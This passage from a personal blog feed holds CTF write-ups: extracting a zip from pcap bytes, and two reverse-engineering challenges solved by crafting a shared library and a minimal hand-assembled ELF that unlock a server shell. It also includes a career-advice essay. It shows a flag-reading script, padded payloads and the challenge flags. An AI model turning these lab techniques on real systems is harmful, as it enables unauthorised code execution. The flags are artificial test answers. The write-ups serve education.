&lt;p&gt;Now let's just scroll through them and see if we can find something interesting. It looked like only some bytes of the &lt;code&gt;data&lt;/code&gt; section were changing. Anyway. After some scrolling we see something readable &lt;code&gt;byte-by-byte&lt;/code&gt;, meaning in every packet there would be another byte forming a sentence. Like this:&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/jerry_paints/pcap_text.gif" /&gt;&lt;/p&gt;
&lt;p&gt;Look at the last but one byte, it spells: &lt;code&gt;i_wonder_whats_in_here.html&lt;/code&gt;. So this must be a file. Rushing to the very first packets we see in the same spot (last but one byte) in the first 2 packets &lt;code&gt;PK&lt;/code&gt;. This should tell you something. &lt;/p&gt;
&lt;p&gt;&lt;code&gt;PK&lt;/code&gt; is the begininng of the magic header for &lt;code&gt;zip&lt;/code&gt; files. So this must be a zip file. We can extract the data from all these packets and then write a python script to extract the last but one byte from every packet's data. So let's see the script.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python

f = open('hex', 'r')

data = f.read()
f.close()

lines = data.split('\n')

s = ""
for line in lines:
    if len(line) &amp;gt; 3:
        s += str(line[-4]) + str(line[-3])

bytez = s.decode('hex')
print bytez
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I extracted the data in string form, so I should get the 4th and 3rd characters from the end. That would represent the last but one byte. Redirecting the output to a file, we indeed get a zip file. After unzipping we see the &lt;code&gt;i_wonder_whats_in_here.html&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/jerry_paints/flag.png" /&gt;&lt;/p&gt;
&lt;p&gt;And we get the flag.&lt;/p&gt;
&lt;p&gt;FLAG: &lt;code&gt;ACS_IXIA_CTF{fnflne_pncsbdd}&lt;/code&gt;&lt;/p&gt;</content><category term="write-ups"></category><category term="CTF"></category></entry><entry><title>[Part 2] ACS-IXIA-CTF Write-up - Two face</title><link href="https://cristicretan.ro/articles/2020/05/06/part-2-acs-ixia-ctf-write-up-two-face/" rel="alternate"></link><published>2020-05-06T20:33:00+03:00</published><updated>2020-05-06T20:33:00+03:00</updated><author><name>Cristi Cretan</name></author><id>tag:cristicretan.ro,2020-05-06:/articles/2020/05/06/part-2-acs-ixia-ctf-write-up-two-face/</id><summary type="html">&lt;p&gt;Last weekend I participated at the CTF organized by &lt;a href="https://www.facebook.com/IxiaRomania/"&gt;IXIA&lt;/a&gt; and I wanted to showcase some of the challenges I solved that I found particularly interesting. (I think) there will be only 3-4 parts of this with 4-5 challenges. I'll try to present my thinking and all the pitfalls I've …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Last weekend I participated at the CTF organized by &lt;a href="https://www.facebook.com/IxiaRomania/"&gt;IXIA&lt;/a&gt; and I wanted to showcase some of the challenges I solved that I found particularly interesting. (I think) there will be only 3-4 parts of this with 4-5 challenges. I'll try to present my thinking and all the pitfalls I've ran into.&lt;/p&gt;
&lt;p&gt;Today I'm going to explain &lt;code&gt;Two face&lt;/code&gt; from the &lt;code&gt;Reverse&lt;/code&gt; category. It was a 150 (or 200) points challenge. Unfortunately I can't show you the prompt again because the challenges were made unavailable.&lt;/p&gt;
&lt;p&gt;If you haven't checked out the &lt;a href="https://cristicretan.ro/articles/2020/05/05/part-1-acs-ixia-ctf-write-up/"&gt;first article&lt;/a&gt;, make sure to read it because I will use some intuition from the previous challenge to solve this one.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Analyzing&lt;/h2&gt;
&lt;p&gt;Once again, we are given a binary and some &lt;code&gt;host&lt;/code&gt; and &lt;code&gt;port&lt;/code&gt; to connect to. Let's do the usual stuff (strings, strace, ltrace). Running ltrace we get:&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/two_face/ltrace.png" /&gt;&lt;/p&gt;
&lt;p&gt;Looks like it's almost the same spiel like the previous challenge, it creates a file, reads &lt;code&gt;16536&lt;/code&gt; bytes in this case, changes it's permissions and starts a process probably to check it's output later with &lt;code&gt;banners&lt;/code&gt;. But let's also take a look in IDA.&lt;/p&gt;
&lt;p&gt;Here we have the main function:&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/two_face/main.png" /&gt;&lt;/p&gt;
&lt;p&gt;Some basic buffer handling, really common in ctfs.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/two_face/setbuf.png" /&gt;&lt;/p&gt;
&lt;p&gt;The function which creates the file.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/two_face/create_file.png" /&gt;&lt;/p&gt;
&lt;p&gt;Checking the output.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/two_face/banners.png" /&gt;&lt;/p&gt;
&lt;p&gt;Here we have some interesting function. We'll call it &lt;code&gt;get_compute&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/two_face/compute.png" /&gt;&lt;/p&gt;
&lt;p&gt;And a function which unlinks the file.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/two_face/unlink2.png" /&gt;&lt;/p&gt;
&lt;p&gt;We see that the &lt;code&gt;get_compute&lt;/code&gt; function calls &lt;code&gt;dlopen&lt;/code&gt; and &lt;code&gt;dlsym&lt;/code&gt; for to get the address of some &lt;code&gt;compute&lt;/code&gt; function which later it calls to see if it prints to the standard output 'banners'. &lt;code&gt;Dlopen&lt;/code&gt; expect a &lt;code&gt;shared object&lt;/code&gt;. This means that this binary probably expects a shared library. But we also need it to output 'banners'.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Developing&lt;/h2&gt;
&lt;p&gt;Let's see if we can do that. We have plenty of space this time, so let's write a C program for it.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;

void compute()
{
    puts("banners");
}

int main(void)
{
    compute();
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Okay. Let's compile it. And send it to the binary. Also let's pad it with the &lt;code&gt;python&lt;/code&gt; script from the previous task.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/two_face/first_lib.png" /&gt;&lt;/p&gt;
&lt;p&gt;Nothing happens. But it should work. Let's see what happens in GDB, after the &lt;code&gt;dlsym&lt;/code&gt; call.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/two_face/check_function.png" /&gt;&lt;/p&gt;
&lt;p&gt;It calls another function, I might've missed it in IDA. Here is it:&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/two_face/return_value.png" /&gt;&lt;/p&gt;
&lt;p&gt;It looks like it calls the compute function with some parameters and compares the return value with some array probably, every 3rd element. At this point, during the CTF, I've ran in several pitfalls:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;I haven't noticed that it calls the function with arguments, after analyzing in GDB, I saw the &lt;code&gt;mov rdi, something&lt;/code&gt; instruction and then thought about adding a parameter to my &lt;code&gt;compute&lt;/code&gt; function.&lt;/li&gt;
&lt;li&gt;It was a long time after i've saw the &lt;code&gt;mov rdi, something&lt;/code&gt; and thought getting the local index variable from the function which compares our return value with some array, using &lt;a href="https://www.geeksforgeeks.org/variable-length-argument-c/"&gt;C variable number of arguments&lt;/a&gt;. Which is bad, I know.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;After some time and realizations, I've decided to first copy the array that it compares out return value with into my program. And my my compute function take a parameter.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/two_face/array.png" /&gt;&lt;/p&gt;
&lt;p&gt;Also notice from IDA, that it gives us the parameter from the array with &lt;strong&gt;10 bytes behind&lt;/strong&gt;. The parameter given to us is at offset &lt;code&gt;0x202020 + 3*i&lt;/code&gt; and it compares it with the one from the offset &lt;code&gt;0x202030 + 3 * i&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;So let's code it now.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;

const long long get_idx[] = {0x000000000000002e, 0x0000000000000005, 0x0000000000012561, 0x0000000000000131, 0x0000000000000004, 0x0000000000001b5e, 0x000000000000031b, 0x0000000000000006, 0x000000000004dc83, 0x0000000000000107, 0x0000000000000002, 0x0000000000000003, 0x0000000000000213, 0x0000000000000006, 0x00000000000607d8, 0x0000000000000382, 0x0000000000000002, 0x0000000000000003, 0x00000000000000b8, 0x0000000000000001, 0x0000000000000002, 0x0000000000000391, 0x0000000000000006, 0x00000000000876bf, 0x00000000000001b1, 0x0000000000000006, 0x000000000004f9e5, 0x0000000000000217, 0x0000000000000003, 0x00000000000000f7, 0x0000000000000378, 0x0000000000000001, 0x0000000000000001, 0x00000000000002dd, 0x0000000000000001, 0x0000000000000001, 0x00000000000001cc, 0x0000000000000007, 0x00000000005fbf8c, 0x00000000000002b4, 0x0000000000000003, 0x000000000000039d, 0x0000000000000298, 0x0000000000000003, 0x0000000000000216, 0x00000000000002d8, 0x0000000000000003, 0x000000000000032f, 0x00000000000002a4, 0x0000000000000003, 0x0000000000000355, 0x000000000000023b, 0x0000000000000005, 0x0000000000016bf8, 0x00000000000002a1, 0x0000000000000002, 0x0000000000000031, 0x0000000000000329, 0x0000000000000004, 0x00000000000014e2, 0x00000000000001a2, 0x0000000000000006, 0x00000000000819e9, 0x0000000000000112, 0x0000000000000001, 0x0000000000000002, 0x00000000000002bd, 0x0000000000000007, 0x00000000001ed274, 0x00000000000000af, 0x0000000000000005, 0x00000000000015b7, 0x00000000000000aa, 0x0000000000000005, 0x0000000000014cdb, 0x0000000000000081, 0x0000000000000006, 0x00000000000866b6, 0x00000000000002ef, 0x0000000000000002, 0x0000000000000012, 0x0000000000000171, 0x0000000000000004, 0x0000000000001570, 0x0000000000000026, 0x0000000000000007, 0x00000000006d6577, 0x00000000000000bd, 0x0000000000000002, 0x000000000000005f, 0x0000000000000351, 0x0000000000000001, 0x0000000000000001, 0x0000000000000143, 0x0000000000000004, 0x00000000000005f0,
 0x00000000000001d2, 0x0000000000000003, 0x00000000000002a1, 0x00000000000000f2, 0x0000000000000007, 0x00000000001256f5, 0x00000000000001e7, 0x0000000000000003, 0x000000000000017d, 0x0000000000000039, 0x0000000000000001, 0x0000000000000009, 0x000000000000023f, 0x0000000000000001, 0x0000000000000006, 0x000000000000021e, 0x0000000000000005, 0x0000000000001b6d, 0x0000000000000045, 0x0000000000000007, 0x00000000003dfe8e, 0x00000000000000d2, 0x0000000000000007, 0x0000000000659d06, 0x000000000000025c, 0x0000000000000003, 0x00000000000002a9, 0x00000000000001ac, 0x0000000000000005, 0x000000000001205b, 0x00000000000002c5, 0x0000000000000003, 0x0000000000000079, 0x00000000000002e7, 0x0000000000000002, 0x000000000000000d, 0x00000000000002b3, 0x0000000000000001, 0x0000000000000008, 0x00000000000001fd, 0x0000000000000005, 0x0000000000005f56, 0x0000000000000369, 0x0000000000000005, 0x000000000000d048, 0x00000000000002cd, 0x0000000000000002, 0x0000000000000060, 0x000000000000028b, 0x0000000000000007, 0x0000000000477a79, 0x0000000000000339, 0x0000000000000004, 0x0000000000000c0a, 0x0000000000000000, 0x0000000000000000, 0x00007ffff7bcc760, 0x0000000000000000, 0x00007ffff7bcba00, 0x0000000000000000, 0x00007ffff7bcc680, 0x0000000000000000, 0x0000000000000000, 0x0000000000000000, 0x007372656e6e6162};

long long compute(long long number)
{
    puts("banners");

    size_t i = 0;

    while (1) {
        if (get_idx[i] == number) {
            break;
        }
        i++;
    }

    return get_idx[i + 2];
}

int main(void)
{
    compute(1);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let's compile it and send it to the binary. Don't foget to pad it.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/two_face/sending_it.png" /&gt;&lt;/p&gt;
&lt;p&gt;After some output of "banners". We get the shell.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/two_face/after_output.png" /&gt;&lt;/p&gt;
&lt;p&gt;And then we can get the flag.&lt;/p&gt;
&lt;p&gt;FLAG: &lt;code&gt;ACS_IXIA_CTF{flip_of_a_coin}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Doing this write-up I realized that I made many silly mistakes, which could've been easily avoided.
If I would've looked more closely in IDA and took some notes of the weirdness that I saw. I could've done it faster and better. But I didn't. I was sloppy and didn't pay attention to the details.&lt;/p&gt;
&lt;p&gt;Often times when it comes to hunting for bugs it's the little details that matter. A hacker who can focus on details will discover great vulnerabilities.&lt;/p&gt;
&lt;p&gt;Now, I know that this was a lesson for me, but I hope it was one for you too.&lt;/p&gt;</content><category term="write-ups"></category><category term="CTF"></category></entry><entry><title>[Part 1] ACS-IXIA-CTF Write-up</title><link href="https://cristicretan.ro/articles/2020/05/05/part-1-acs-ixia-ctf-write-up/" rel="alternate"></link><published>2020-05-05T00:26:00+03:00</published><updated>2020-05-05T00:26:00+03:00</updated><author><name>Cristi Cretan</name></author><id>tag:cristicretan.ro,2020-05-05:/articles/2020/05/05/part-1-acs-ixia-ctf-write-up/</id><summary type="html">&lt;p&gt;Last weekend I participated at the CTF organized by &lt;a href="https://www.facebook.com/IxiaRomania/"&gt;IXIA&lt;/a&gt; and I wanted to showcase some of the challenges I solved that I found particularly interesting. (I think) there will be only 3-4 parts of this with 4-5 challenges. I'll try to present my thinking and all the pitfalls I've …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Last weekend I participated at the CTF organized by &lt;a href="https://www.facebook.com/IxiaRomania/"&gt;IXIA&lt;/a&gt; and I wanted to showcase some of the challenges I solved that I found particularly interesting. (I think) there will be only 3-4 parts of this with 4-5 challenges. I'll try to present my thinking and all the pitfalls I've ran into.&lt;/p&gt;
&lt;p&gt;Let's start with the &lt;code&gt;Independence Day&lt;/code&gt; challenge in the &lt;code&gt;Reverse&lt;/code&gt; category. Unfortunately I can't show you the prompt of the challenge since they were made unavailable right after the CTF. &lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Analyzing&lt;/h2&gt;
&lt;p&gt;We were given a binary, and some host and port to connect to. I've ran the basic reconnaissance on it (strings, strace, ltrace, etc.) to get some basic idea of what the binary is actually doing. Here is the output of ltrace:&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/independence_day/strace_1.png" /&gt;&lt;/p&gt;
&lt;p&gt;We can see that it reads &lt;em&gt;exactly&lt;/em&gt; 480 bytes, writes them into a file &lt;code&gt;/tmp/independence_day&lt;/code&gt;, and then changes it's permissions. This already gave a lot of information. Notice that it also makes the file &lt;em&gt;executable&lt;/em&gt;, so will the program execute it? Let's do some static analysis with IDA to find out.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/independence_day/ida_main1.png" /&gt;&lt;/p&gt;
&lt;p&gt;First I've completely ignored the function &lt;code&gt;sub_F1A&lt;/code&gt;, (in the end it didn't matter, I later found out about the wrong direction I took using dynamic analysis), so let's do that as well, for now. We also see some string compares and in the end &lt;code&gt;system('/bin/sh');&lt;/code&gt;, but running it we didn't reach it, probably because of the compare, it passes the value to be compared to the function &lt;code&gt;sub_FED1&lt;/code&gt;, let's see what it does with it.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/independence_day/sub_FED1.png" /&gt;&lt;/p&gt;
&lt;p&gt;Here in &lt;code&gt;sub_FED1&lt;/code&gt;, we see some key things a &lt;code&gt;fork&lt;/code&gt;, &lt;code&gt;pipe&lt;/code&gt; (probably for redirecting output of something), and an &lt;code&gt;execl&lt;/code&gt; on our file. So our file is actually being executed on the server. Here my first thought was: "so then I could easily make a bash script and cat the flag with it". Let's try this and see what happens.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/bin/bash

cat /home/ctf/flag
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Cool! but remember, the binary reads exactly &lt;code&gt;480&lt;/code&gt; bytes. So we must pad this with &lt;code&gt;\x00&lt;/code&gt;. Let's do a python script to do that for us, just in case this doesn't work.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/usr/bin/python

ln= 480

with open('script.sh', 'rb') as f:
    data = f.read()
    payload = data
    print payload + '\x00'*(ln - len(payload))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now let's actually send this payload to the binary.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/independence_day/fail1.png" /&gt;&lt;/p&gt;
&lt;p&gt;Nothing happens. Let's analyze what is going on in &lt;code&gt;gdb&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/independence_day/gdb_wrong_byte.png" /&gt;&lt;/p&gt;
&lt;p&gt;After finding the main address and seeing where it is breaking, we can see that it compares the fifth byte read (which is loadead in eax, right before) with &lt;code&gt;0x2&lt;/code&gt;. Weird. Then all the scripts ideas are dead now. We've ran into a pitfall.&lt;/p&gt;
&lt;p&gt;Now comparing it with &lt;code&gt;0x2&lt;/code&gt; says to us that it must be a binary file. It must be some kind of magic header check.&lt;/p&gt;
&lt;p&gt;Magic headers are (from &lt;a href="https://en.wikipedia.org/wiki/List_of_file_signatures"&gt;Wikipedia&lt;/a&gt;)&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;file signatures, data used to identify or verify the content of a file. Such signatures are also known as magic numbers or Magic Bytes. &lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Having a miraculous idea to run &lt;code&gt;xxd&lt;/code&gt; on the binary. We can see that it's fifth byte is &lt;code&gt;0x2&lt;/code&gt;. Then it must be an &lt;code&gt;ELF64&lt;/code&gt; that we must create in order for it to run it for us.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/independence_day/fifth_byte.png" /&gt;&lt;/p&gt;
&lt;p&gt;Remember in GDB in the &lt;code&gt;sub_FED&lt;/code&gt; function, that it reads 128 bytes from our input and tries to compare them with &lt;code&gt;Independence Day&lt;/code&gt; in the main function. After that unlinking the file and calling &lt;code&gt;system('/bin/sh')&lt;/code&gt;.&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;Developing&lt;/h2&gt;
&lt;p&gt;Now we know what we have to do. We need a &lt;strong&gt;less than&lt;/strong&gt; 480 bytes, 64 bit binary that should output 'Independence Day'.&lt;/p&gt;
&lt;p&gt;Let's write a quick &lt;code&gt;C&lt;/code&gt; program that will do that for us and compile it. See how large it is.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/independence_day/small1.png" /&gt;&lt;/p&gt;
&lt;p&gt;Ah! 8296 bytes. That's clearly too much. We can get rid of the &lt;code&gt;stdio&lt;/code&gt; library and symbols, and use &lt;code&gt;write&lt;/code&gt;, let's see if that helps us.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/independence_day/small2.png" /&gt;&lt;/p&gt;
&lt;p&gt;6120 bytes. with some warning. still works, but it's not enough. We might try to write it in assembly. Let's see.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bits 64

global main
section .data
msg: db 'Independence Day'

section .text
main:
    mov rax, 1      ; for write syscall.
    mov rdi, 1      ; stdout
    mov rsi, msg    ; address of the message
    mov rdx, 0x10   ; length
    syscall
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/independence_day/small3.png" /&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;6072&lt;/code&gt; bytes. gcc is really not helping us. Let's try and create our entry point. We can do that compiling with &lt;code&gt;-nostartfiles&lt;/code&gt;. We are just creating a &lt;code&gt;_start&lt;/code&gt;, so in our case, substituing &lt;code&gt;main&lt;/code&gt; with &lt;code&gt;_start&lt;/code&gt; in the &lt;code&gt;.asm&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bits 64

global _start
section .data
msg: db 'Independence Day'

section .text
_start:
    mov rax, 1 ; for write syscall.
    mov rdi, 1 ; stdout
    mov rsi, msg ; address of the message
    mov rdx, 0x10 ; length
    syscall
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/independence_day/small4.png" /&gt;&lt;/p&gt;
&lt;p&gt;Well, it certainly helped us. Hmm, we could try and link it ourselves. That should really make a difference!&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/independence_day/small5.png" /&gt;&lt;/p&gt;
&lt;p&gt;504 bytes. Nice. That's almost what we need, but we get a &lt;code&gt;seg fault&lt;/code&gt;, but we don't care since our binary is just reading the output which is correct. Do we really need that much? What's left of it anyway?&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/independence_day/program_header1.png" /&gt;&lt;/p&gt;
&lt;p&gt;We could add the program header and the program offset ourselves so that the linker will not add some other irellevant stuff for us. You can read more about this at this &lt;a href="https://www.muppetlabs.com/~breadbox/software/tiny/teensy.html"&gt;cool article&lt;/a&gt; about a really small binary. Let's see.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;bits 64

    org    0x00400000      ;Program load offset

;64-bit ELF header
ehdr:
    ;ELF Magic + 2 (64-bit), 1 (LSB), 1 (ELF ver. 1), 0 (ABI ver.)
    db 0x7F, "ELF", 2, 1, 1, 0             ;e_ident

    times 8 db 0                           ;reserved (zeroes)

    dw 2                    ;e_type:       Executable file
    dw 0x3e                 ;e_machine:    AMD64
    dd 1                    ;e_version:    current version
    dq _start               ;e_entry:      program entry address (0x78)
    dq phdr - $$            ;e_phoff       program header offset (0x40)
    dq 0                    ;e_shoff       no section headers
    dd 0                    ;e_flags       no flags
    dw ehdrsize             ;e_ehsize:     ELF header size (0x40)
    dw phdrsize             ;e_phentsize:  program header size (0x38)
    dw 1                    ;e_phnum:      one program header
    dw 0                    ;e_shentsize
    dw 0                    ;e_shnum
    dw 0                    ;e_shstrndx
ehdrsize equ $ - ehdr

;64-bit ELF program header
phdr:
    dd 1                    ;p_type:       loadable segment
    dd 5                    ;p_flags       read and execute
    dq 0                    ;p_offset
    dq $$                   ;p_vaddr:      start of the current section
    dq $$                   ;p_paddr:      
    dq filesize             ;p_filesz
    dq filesize             ;p_memsz
    dq 0x200000             ;p_align:      2^11=200000=11 bit boundaries

phdrsize equ $ - phdr

_start:
    mov rax, 0x1
    mov rdi, 0x1
    mov rsi, msg
    mov rdx, 0x16
    syscall

    msg:    db  'Independence Day'    ;message and newline

filesize equ $ - $$
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Nice. Now we could directly assemble it into an executable.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/independence_day/small6.png" /&gt;&lt;/p&gt;
&lt;p&gt;163 bytes!!!!! Amazing. it's waaay better. Let's see if this works on the binary. Don't forget to pad it with our python script.&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/independence_day/last1.png" /&gt;&lt;/p&gt;
&lt;p&gt;Nice. We got the shell. This was my last file I sent to the server during the CTF.&lt;/p&gt;
&lt;p&gt;FLAG: &lt;code&gt;ACS_IXIA_CTF{star_spangled_banner}&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;In the next part, I'll try to cover "Two face" from the &lt;code&gt;reverse&lt;/code&gt; category.&lt;/p&gt;</content><category term="write-ups"></category><category term="CTF"></category></entry><entry><title>Life Is Not A Disney Movie</title><link href="https://cristicretan.ro/articles/2020/03/31/life-is-not-a-disney-movie/" rel="alternate"></link><published>2020-03-31T23:12:00+03:00</published><updated>2020-03-31T23:12:00+03:00</updated><author><name>Cristi Cretan</name></author><id>tag:cristicretan.ro,2020-03-31:/articles/2020/03/31/life-is-not-a-disney-movie/</id><summary type="html">&lt;p&gt;I recently read an article from &lt;em&gt;The Atlantic&lt;/em&gt;. It was titled: &lt;a href="https://www.theatlantic.com/entertainment/archive/2013/08/you-can-do-em-anything-em-must-every-kids-movie-reinforce-the-cult-of-self-esteem/278596/"&gt;You Can Do Anything: Must Every Kids' Movie Reinforce The Cult of Self-Esteem?&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The author points out that modern animated films have largely fallen a predictive rut:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;"anthropomorphized outcast who must overcome the restrictions of their societies or even …&lt;/p&gt;&lt;/blockquote&gt;</summary><content type="html">&lt;p&gt;I recently read an article from &lt;em&gt;The Atlantic&lt;/em&gt;. It was titled: &lt;a href="https://www.theatlantic.com/entertainment/archive/2013/08/you-can-do-em-anything-em-must-every-kids-movie-reinforce-the-cult-of-self-esteem/278596/"&gt;You Can Do Anything: Must Every Kids' Movie Reinforce The Cult of Self-Esteem?&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The author points out that modern animated films have largely fallen a predictive rut:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;"anthropomorphized outcast who must overcome the restrictions of their societies or even species to realize their impossible dreams."&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;These movies tell us that it's believing in one's self, that allows &lt;a href="https://www.imdb.com/title/tt0441773/"&gt;a fat panda to become a Kung Fu master&lt;/a&gt;,&lt;a href="https://www.imdb.com/title/tt0382932/"&gt;a to rat become an accomplished chef&lt;/a&gt; and &lt;a href="https://www.imdb.com/title/tt1453405/"&gt;an unscary monser to become a top-notch scarer&lt;/a&gt; - after only a bare minimum of training and essentially no experience.&lt;/p&gt;
&lt;p&gt;The fools in these movies are those poor guys who wasted their time practicing when all they really needed was a pep talk.&lt;/p&gt;
&lt;p&gt;The author makes a connection between this narrative device and the rise of the cult of self-esteem among young children. I want to take it into a different direction.&lt;/p&gt;
&lt;p&gt;These plots are similar to popular conversations about career planning. The career guides tell us that the key to an amazing life is to be true to your inner passion and ignore the haters as you pursue your dream.&lt;/p&gt;
&lt;p&gt;For example here is a quote from such a guide:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;"I believe you already have everything you need inside of you. You are good enough the way you are. You’ve simply learned ideas that keep you from living up to your full potential."&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;It's easy to imagine these quotes out of the mouth of an anthropomorphized rat or kindly fluffy panda bear.&lt;/p&gt;
&lt;p&gt;"Follow your passion" is bad advice.&lt;/p&gt;
&lt;p&gt;There are 2 main reasons why this is true:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;The first reason&lt;/strong&gt; is that most people don't have a pre-defined passion to follow. This is especially true if you consider young people who are just starting to be on their own for the first time. The advice to "follow your passion" is frustratingly meaningless if, like many people, you don't have a passion to follow.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;The second reason&lt;/strong&gt; is that we don't have much evidence that matching your job to a pre-existing interest makes you more likely to find that work satisfying.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Following your passion is not a bad thing. "Follow your passion" as an advice is bad. My philosophy is that if you want to end up loving your working life, the choice of what you do is a minor piece in this puzzle. It's how you do what you do, not pre-existing trait or passion, that matter.&lt;/p&gt;
&lt;p&gt;These 2 points are detailed in Cal Newport's talk: &lt;a href="https://www.youtube.com/watch?v=IIMu1PGbG-0"&gt;Follow your passion is bad advice&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;I always took the classic childhood lesson as exactly that. "You can do anything. But you need to put in the work to get there." Some movies demonstrate this better than others. I'm &lt;em&gt;not&lt;/em&gt; saying the opposite, "don't chase your dreams, you're not capable", because that would seem like an even worse message.&lt;/p&gt;
&lt;p&gt;Chasing a dream is a trade-off. And contextual. If you're and extreme case like Homer:&lt;/p&gt;
&lt;p&gt;&lt;img alt="" src="https://cristicretan.ro/images/png/homer.png" /&gt;&lt;/p&gt;
&lt;p&gt;with a miserable default, there's nothing to lose in chasing the near-impossible. On the other hand, if your out-of-reach dream is X, but you're almost as happy doing Y, then sure, it might better to just do Y. Most people fall in between. You just need to determine whether the work is worth it.&lt;/p&gt;
&lt;p&gt;If you study &lt;em&gt;real&lt;/em&gt; people who build amazing lives in the &lt;em&gt;real&lt;/em&gt; world, you will find that their paths are more nuanced, more complicated, and usually a bit more interesting. These paths tend to involve quite a bit of hard work, much of it conventional, and doesn't tend to involve a lot of bold resistance to the status quo. It turns out that society doesn't care what you do for a living, but rather about how well you do what you do.&lt;/p&gt;
&lt;p&gt;I am not blaming Disney movies. That would be unnecessary and foolish. Kids movies are supposed to be fun - we can't place such explanations on them. At the same time this strengthens my argument here. If you're career thinking matches what's spouted in a fun, light, kids movies... you need more advanced career thinking!&lt;/p&gt;
&lt;p&gt;In other words, it's time for our taste in career advice to mature alongside our taste in movies.&lt;/p&gt;</content><category term="self-development"></category><category term="self-development"></category></entry><entry><title>justCTF Shellcode Executor Pro and Discreet write-up</title><link href="https://cristicretan.ro/articles/2019/12/23/justctf-shellcode-executor-pro-and-discreet-write-up/" rel="alternate"></link><published>2019-12-23T15:01:00+02:00</published><updated>2019-12-23T15:01:00+02:00</updated><author><name>Cristi Cretan</name></author><id>tag:cristicretan.ro,2019-12-23:/articles/2019/12/23/justctf-shellcode-executor-pro-and-discreet-write-up/</id><summary type="html">&lt;p&gt;Last weekend I participated at the CTF organized by the &lt;a href="https://twitter.com/justCatTheFish"&gt;justCatTheFish&lt;/a&gt; team and I wanted to showcase 2 challenges that I solved.&lt;/p&gt;
